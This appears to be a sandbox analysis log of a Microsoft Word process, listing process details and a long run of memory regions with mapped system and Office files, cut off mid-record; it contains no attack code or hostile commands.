# Flog Txt Version 1
# Analyzer Version: 4.3.1
# Analyzer Build Date: Nov 9 2021 05:55:33
# Log Creation Date: 01.12.2021 17:58:06.191
Process:
id = "1"
image_name = "winword.exe"
filename = "c:\\program files (x86)\\microsoft office\\root\\office16\\winword.exe"
page_root = "0x4a9d3000"
os_pid = "0xb2c"
os_integrity_level = "0x2000"
os_privileges = "0x800000"
monitor_reason = "analysis_target"
parent_id = "0"
os_parent_pid = "0x640"
cmd_line = "\"C:\\Program Files (x86)\\Microsoft Office\\Root\\Office16\\WINWORD.EXE\" /n"
cur_dir = "C:\\Users\\RDhJ0CNFevzX\\Desktop\\"
os_username = "XC64ZB\\RDhJ0CNFevzX"
bitness = "32"
os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f142" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]
Region:
id = 255
start_va = 0x10000
end_va = 0x1ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000010000"
filename = ""
Region:
id = 256
start_va = 0x20000
end_va = 0x23fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000020000"
filename = ""
Region:
id = 257
start_va = 0x30000
end_va = 0x30fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000030000"
filename = ""
Region:
id = 258
start_va = 0x40000
end_va = 0x54fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000040000"
filename = ""
Region:
id = 259
start_va = 0x60000
end_va = 0x9ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000060000"
filename = ""
Region:
id = 260
start_va = 0xa0000
end_va = 0x19ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000000a0000"
filename = ""
Region:
id = 261
start_va = 0x1a0000
end_va = 0x1a3fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000001a0000"
filename = ""
Region:
id = 262
start_va = 0x1b0000
end_va = 0x1b3fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000001b0000"
filename = ""
Region:
id = 263
start_va = 0x1c0000
end_va = 0x1c1fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000001c0000"
filename = ""
Region:
id = 264
start_va = 0x1d0000
end_va = 0x1d0fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000001d0000"
filename = ""
Region:
id = 265
start_va = 0x1e0000
end_va = 0x1effff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000001e0000"
filename = ""
Region:
id = 266
start_va = 0x1f0000
end_va = 0x1f0fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000001f0000"
filename = ""
Region:
id = 267
start_va = 0x200000
end_va = 0x3fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000200000"
filename = ""
Region:
id = 268
start_va = 0x400000
end_va = 0x4bdfff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "locale.nls"
filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")
Region:
id = 269
start_va = 0x4c0000
end_va = 0x4c0fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000004c0000"
filename = ""
Region:
id = 270
start_va = 0x4d0000
end_va = 0x4d0fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000004d0000"
filename = ""
Region:
id = 271
start_va = 0x4e0000
end_va = 0x4e1fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 272
start_va = 0x4f0000
end_va = 0x4f1fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004f0000"
filename = ""
Region:
id = 273
start_va = 0x500000
end_va = 0x500fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000500000"
filename = ""
Region:
id = 274
start_va = 0x510000
end_va = 0x510fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000510000"
filename = ""
Region:
id = 275
start_va = 0x520000
end_va = 0x521fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000520000"
filename = ""
Region:
id = 276
start_va = 0x530000
end_va = 0x53ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000530000"
filename = ""
Region:
id = 277
start_va = 0x540000
end_va = 0x541fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000540000"
filename = ""
Region:
id = 278
start_va = 0x550000
end_va = 0x551fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000550000"
filename = ""
Region:
id = 279
start_va = 0x560000
end_va = 0x561fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000560000"
filename = ""
Region:
id = 280
start_va = 0x570000
end_va = 0x58ffff
monitored = 0
entry_point = 0x582810
region_type = mapped_file
name = "slc.dll"
filename = "\\Windows\\SysWOW64\\slc.dll" (normalized: "c:\\windows\\syswow64\\slc.dll")
Region:
id = 281
start_va = 0x590000
end_va = 0x591fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000590000"
filename = ""
Region:
id = 282
start_va = 0x5a0000
end_va = 0x5a1fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000005a0000"
filename = ""
Region:
id = 283
start_va = 0x5b0000
end_va = 0x5b3fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000005b0000"
filename = ""
Region:
id = 284
start_va = 0x5c0000
end_va = 0x6bffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000005c0000"
filename = ""
Region:
id = 285
start_va = 0x6c0000
end_va = 0x7bffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000006c0000"
filename = ""
Region:
id = 286
start_va = 0x7c0000
end_va = 0x947fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000007c0000"
filename = ""
Region:
id = 287
start_va = 0x950000
end_va = 0x95ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000950000"
filename = ""
Region:
id = 288
start_va = 0x960000
end_va = 0xae0fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000960000"
filename = ""
Region:
id = 289
start_va = 0xaf0000
end_va = 0xe26fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "sortdefault.nls"
filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")
Region:
id = 290
start_va = 0xe30000
end_va = 0xe31fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000e30000"
filename = ""
Region:
id = 291
start_va = 0xe40000
end_va = 0xff8fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "office.odf"
filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\cultures\\office.odf")
Region:
id = 292
start_va = 0x1000000
end_va = 0x1004fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "winnlsres.dll"
filename = "\\Windows\\SysWOW64\\winnlsres.dll" (normalized: "c:\\windows\\syswow64\\winnlsres.dll")
Region:
id = 293
start_va = 0x1010000
end_va = 0x102ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000001010000"
filename = ""
Region:
id = 294
start_va = 0x1030000
end_va = 0x10d8fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "wwintl.dll"
filename = "\\Program Files (x86)\\Microsoft Office\\root\\Office16\\1033\\WWINTL.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\root\\office16\\1033\\wwintl.dll")
Region:
id = 295
start_va = 0x10e0000
end_va = 0x10e1fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000010e0000"
filename = ""
Region:
id = 296
start_va = 0x10f0000
end_va = 0x10f0fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000010f0000"
filename = ""
Region:
id = 297
start_va = 0x1100000
end_va = 0x110ffff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "winnlsres.dll.mui"
filename = "\\Windows\\SysWOW64\\en-US\\winnlsres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\winnlsres.dll.mui")
Region:
id = 298
start_va = 0x1110000
end_va = 0x111efff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "msointl30.dll"
filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\1033\\msointl30.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\1033\\msointl30.dll")
Region:
id = 299
start_va = 0x1120000
end_va = 0x1123fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000001120000"
filename = ""
Region:
id = 300
start_va = 0x1130000
end_va = 0x1133fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000001130000"
filename = ""
Region:
id = 301
start_va = 0x1160000
end_va = 0x116ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000001160000"
filename = ""
Region:
id = 302
start_va = 0x1180000
end_va = 0x1358fff
monitored = 0
entry_point = 0x1181000
region_type = mapped_file
name = "winword.exe"
filename = "\\Program Files (x86)\\Microsoft Office\\root\\Office16\\WINWORD.EXE" (normalized: "c:\\program files (x86)\\microsoft office\\root\\office16\\winword.exe")
Region:
id = 303
start_va = 0x1360000
end_va = 0x275ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000001360000"
filename = ""
Region:
id = 304
start_va = 0x2760000
end_va = 0x2a67fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "mso40uires.dll"
filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\MSO40UIRES.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\mso40uires.dll")
Region:
id = 305
start_va = 0x2a70000
end_va = 0x3390fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "mso99lres.dll"
filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\MSO99LRES.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\mso99lres.dll")
Region:
id = 306
start_va = 0x33a0000
end_va = 0x81defff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "msores.dll"
filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\MSORES.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\msores.dll")
Region:
id = 307
start_va = 0x81e0000
end_va = 0x8354fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "msointl.dll"
filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\1033\\MSOINTL.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\1033\\msointl.dll")
Region:
id = 308
start_va = 0x8360000
end_va = 0x839ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000008360000"
filename = ""
Region:
id = 309
start_va = 0x8400000
end_va = 0x8400fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000008400000"
filename = ""
Region:
id = 310
start_va = 0x8410000
end_va = 0x8410fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000008410000"
filename = ""
Region:
id = 311
start_va = 0x8420000
end_va = 0x851ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000008420000"
filename = ""
Region:
id = 312
start_va = 0x85f0000
end_va = 0x86abfff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000085f0000"
filename = ""
Region:
id = 313
start_va = 0x86b0000
end_va = 0x86effff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000086b0000"
filename = ""
Region:
id = 314
start_va = 0x86f0000
end_va = 0x87effff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000086f0000"
filename = ""
Region:
id = 315
start_va = 0x87f0000
end_va = 0x881dfff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000087f0000"
filename = ""
Region:
id = 316
start_va = 0x8820000
end_va = 0x8820fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000008820000"
filename = ""
Region:
id = 317
start_va = 0x8830000
end_va = 0x886ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000008830000"
filename = ""
Region:
id = 318
start_va = 0x8870000
end_va = 0x896ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000008870000"
filename = ""
Region:
id = 319
start_va = 0x8970000
end_va = 0x8970fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000008970000"
filename = ""
Region:
id = 320
start_va = 0x8980000
end_va = 0x8980fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000008980000"
filename = ""
Region:
id = 321
start_va = 0x8990000
end_va = 0x89cffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000008990000"
filename = ""
Region:
id = 322
start_va = 0x89d0000
end_va = 0x8acffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000089d0000"
filename = ""
Region:
id = 323
start_va = 0x8ad0000
end_va = 0x8b0ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000008ad0000"
filename = ""
Region:
id = 324
start_va = 0x8b10000
end_va = 0x8c0ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000008b10000"
filename = ""
Region:
id = 325
start_va = 0x8c10000
end_va = 0x8c58fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "~fontcache-system.dat"
filename = "\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\FontCache\\~FontCache-System.dat" (normalized: "c:\\windows\\serviceprofiles\\localservice\\appdata\\local\\fontcache\\~fontcache-system.dat")
Region:
id = 326
start_va = 0x8c60000
end_va = 0x8d5ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000008c60000"
filename = ""
Region:
id = 327
start_va = 0x8d60000
end_va = 0x955ffff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "~fontcache-s-1-5-21-1560258661-3990802383-1811730007-1000.dat"
filename = "\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\FontCache\\~FontCache-S-1-5-21-1560258661-3990802383-1811730007-1000.dat" (normalized: "c:\\windows\\serviceprofiles\\localservice\\appdata\\local\\fontcache\\~fontcache-s-1-5-21-1560258661-3990802383-1811730007-1000.dat")
Region:
id = 328
start_va = 0x9560000
end_va = 0x995ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000009560000"
filename = ""
Region:
id = 329
start_va = 0x9960000
end_va = 0x9e51fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000009960000"
filename = ""
Region:
id = 330
start_va = 0x9e60000
end_va = 0x9e60fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000009e60000"
filename = ""
Region:
id = 331
start_va = 0x9e70000
end_va = 0x9e70fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000009e70000"
filename = ""
Region:
id = 332
start_va = 0x9e80000
end_va = 0x9ebffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000009e80000"
filename = ""
Region:
id = 333
start_va = 0x9ec0000
end_va = 0x9fbffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000009ec0000"
filename = ""
Region:
id = 334
start_va = 0x9fc0000
end_va = 0xa1bffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000009fc0000"
filename = ""
Region:
id = 335
start_va = 0xa1c0000
end_va = 0xa1c0fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000a1c0000"
filename = ""
Region:
id = 336
start_va = 0xa1d0000
end_va = 0xa20ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000a1d0000"
filename = ""
Region:
id = 337
start_va = 0xa210000
end_va = 0xa30ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000a210000"
filename = ""
Region:
id = 338
start_va = 0xa310000
end_va = 0xa34ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000a310000"
filename = ""
Region:
id = 339
start_va = 0xa350000
end_va = 0xa350fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000a350000"
filename = ""
Region:
id = 340
start_va = 0xa360000
end_va = 0xa39ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000a360000"
filename = ""
Region:
id = 341
start_va = 0xa3a0000
end_va = 0xa3a3fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000a3a0000"
filename = ""
Region:
id = 342
start_va = 0xa3b0000
end_va = 0xa3bffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000a3b0000"
filename = ""
Region:
id = 343
start_va = 0xa3c0000
end_va = 0xa3fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000a3c0000"
filename = ""
Region:
id = 344
start_va = 0xa400000
end_va = 0xa400fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000a400000"
filename = ""
Region:
id = 345
start_va = 0xa410000
end_va = 0xa410fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000a410000"
filename = ""
Region:
id = 346
start_va = 0xa420000
end_va = 0xa424fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "user32.dll.mui"
filename = "\\Windows\\SysWOW64\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\user32.dll.mui")
Region:
id = 347
start_va = 0xa430000
end_va = 0xa430fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000a430000"
filename = ""
Region:
id = 348
start_va = 0xa440000
end_va = 0xa44ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000a440000"
filename = ""
Region:
id = 349
start_va = 0xa450000
end_va = 0xa54ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000a450000"
filename = ""
Region:
id = 350
start_va = 0xa550000
end_va = 0xa64ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000a550000"
filename = ""
Region:
id = 351
start_va = 0xa790000
end_va = 0xaf8ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000a790000"
filename = ""
Region:
id = 352
start_va = 0xaf90000
end_va = 0xb08ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000af90000"
filename = ""
Region:
id = 353
start_va = 0xb090000
end_va = 0xb0cffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000b090000"
filename = ""
Region:
id = 354
start_va = 0xb0d0000
end_va = 0xb1cffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000b0d0000"
filename = ""
Region:
id = 355
start_va = 0xb1d0000
end_va = 0xb20ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000b1d0000"
filename = ""
Region:
id = 356
start_va = 0xb210000
end_va = 0xb30ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000b210000"
filename = ""
Region:
id = 357
start_va = 0xb310000
end_va = 0xb34ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000b310000"
filename = ""
Region:
id = 358
start_va = 0xb350000
end_va = 0xb44ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000b350000"
filename = ""
Region:
id = 359
start_va = 0xb450000
end_va = 0xb48ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000b450000"
filename = ""
Region:
id = 360
start_va = 0xb490000
end_va = 0xb58ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000b490000"
filename = ""
Region:
id = 361
start_va = 0xb590000
end_va = 0xb5cffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000b590000"
filename = ""
Region:
id = 362
start_va = 0xb5d0000
end_va = 0xb6cffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000b5d0000"
filename = ""
Region:
id = 363
start_va = 0xb6d0000
end_va = 0xb74ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000b6d0000"
filename = ""
Region:
id = 364
start_va = 0xb750000
end_va = 0xb750fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "msxml6r.dll"
filename = "\\Windows\\SysWOW64\\msxml6r.dll" (normalized: "c:\\windows\\syswow64\\msxml6r.dll")
Region:
id = 365
start_va = 0xb760000
end_va = 0xb772fff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000000a.db"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000a.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000000a.db")
Region:
id = 366
start_va = 0xb780000
end_va = 0xb780fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000b780000"
filename = ""
Region:
id = 367
start_va = 0xb790000
end_va = 0xb86ffff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "kernelbase.dll.mui"
filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui")
Region:
id = 368
start_va = 0xb870000
end_va = 0xb873fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000b870000"
filename = ""
Region:
id = 369
start_va = 0xb880000
end_va = 0xb881fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000b880000"
filename = ""
Region:
id = 370
start_va = 0xb890000
end_va = 0xb890fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000b890000"
filename = ""
Region:
id = 371
start_va = 0xb8a0000
end_va = 0xb8a1fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000b8a0000"
filename = ""
Region:
id = 372
start_va = 0xb8c0000
end_va = 0xb8cffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000b8c0000"
filename = ""
Region:
id = 373
start_va = 0xb8d0000
end_va = 0xbccffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000b8d0000"
filename = ""
Region:
id = 374
start_va = 0xbcd0000
end_va = 0xcccffff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "~fontcache-fontface.dat"
filename = "\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\FontCache\\~FontCache-FontFace.dat" (normalized: "c:\\windows\\serviceprofiles\\localservice\\appdata\\local\\fontcache\\~fontcache-fontface.dat")
Region:
id = 375
start_va = 0xccd0000
end_va = 0xcdaefff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "segoeui.ttf"
filename = "\\Windows\\Fonts\\segoeui.ttf" (normalized: "c:\\windows\\fonts\\segoeui.ttf")
Region:
id = 376
start_va = 0xcdb0000
end_va = 0xcdf1fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "d2d1.dll.mui"
filename = "\\Windows\\SysWOW64\\en-US\\d2d1.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\d2d1.dll.mui")
Region:
id = 377
start_va = 0xce00000
end_va = 0xced5fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000ce00000"
filename = ""
Region:
id = 378
start_va = 0xcee0000
end_va = 0xcfb5fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000cee0000"
filename = ""
Region:
id = 379
start_va = 0xcfc0000
end_va = 0xcfdefff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000cfc0000"
filename = ""
Region:
id = 380
start_va = 0xcfe0000
end_va = 0xcffefff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000cfe0000"
filename = ""
Region:
id = 381
start_va = 0xd2e0000
end_va = 0xd2effff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000d2e0000"
filename = ""
Region:
id = 382
start_va = 0xd2f0000
end_va = 0xd2fffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000d2f0000"
filename = ""
Region:
id = 383
start_va = 0xd300000
end_va = 0xd30ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000d300000"
filename = ""
Region:
id = 384
start_va = 0xd310000
end_va = 0xd71bfff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000d310000"
filename = ""
Region:
id = 385
start_va = 0xd720000
end_va = 0xdb2bfff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000d720000"
filename = ""
Region:
id = 386
start_va = 0xdb30000
end_va = 0xdf35fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000db30000"
filename = ""
Region:
id = 387
start_va = 0xdf40000
end_va = 0xdfbffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000df40000"
filename = ""
Region:
id = 388
start_va = 0xdfc0000
end_va = 0xdfd0fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "c_1255.nls"
filename = "\\Windows\\System32\\C_1255.NLS" (normalized: "c:\\windows\\system32\\c_1255.nls")
Region:
id = 389
start_va = 0xdfe0000
end_va = 0xf01ffff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "staticcache.dat"
filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat")
Region:
id = 390
start_va = 0xf020000
end_va = 0xf4fdfff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000f020000"
filename = ""
Region:
id = 391
start_va = 0x347c0000
end_va = 0x347cffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000347c0000"
filename = ""
Region:
id = 392
start_va = 0x657b0000
end_va = 0x65829fff
monitored = 0
entry_point = 0x657c3290
region_type = mapped_file
name = "wow64win.dll"
filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll")
Region:
id = 393
start_va = 0x65830000
end_va = 0x65837fff
monitored = 0
entry_point = 0x658317c0
region_type = mapped_file
name = "wow64cpu.dll"
filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll")
Region:
id = 394
start_va = 0x65840000
end_va = 0x6588ffff
monitored = 0
entry_point = 0x65858180
region_type = mapped_file
name = "wow64.dll"
filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll")
Region:
id = 395
start_va = 0x66ab0000
end_va = 0x66ad2fff
monitored = 0
entry_point = 0x66ac69b0
region_type = mapped_file
name = "globinputhost.dll"
filename = "\\Windows\\SysWOW64\\globinputhost.dll" (normalized: "c:\\windows\\syswow64\\globinputhost.dll")
Region:
id = 396
start_va = 0x66ae0000
end_va = 0x66b00fff
monitored = 0
entry_point = 0x66aebdb0
region_type = mapped_file
name = "cabinet.dll"
filename = "\\Windows\\SysWOW64\\cabinet.dll" (normalized: "c:\\windows\\syswow64\\cabinet.dll")
Region:
id = 397
start_va = 0x66b10000
end_va = 0x67304fff
monitored = 0
entry_point = 0x66b75279
region_type = mapped_file
name = "chart.dll"
filename = "\\Program Files (x86)\\Microsoft Office\\root\\Office16\\CHART.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\root\\office16\\chart.dll")
Region:
id = 398
start_va = 0x67310000
end_va = 0x673a2fff
monitored = 0
entry_point = 0x67330ec0
region_type = mapped_file
name = "twinapi.dll"
filename = "\\Windows\\SysWOW64\\twinapi.dll" (normalized: "c:\\windows\\syswow64\\twinapi.dll")
Region:
id = 399
start_va = 0x673b0000
end_va = 0x67416fff
monitored = 0
entry_point = 0x673c5a00
region_type = mapped_file
name = "winspool.drv"
filename = "\\Windows\\SysWOW64\\winspool.drv" (normalized: "c:\\windows\\syswow64\\winspool.drv")
Region:
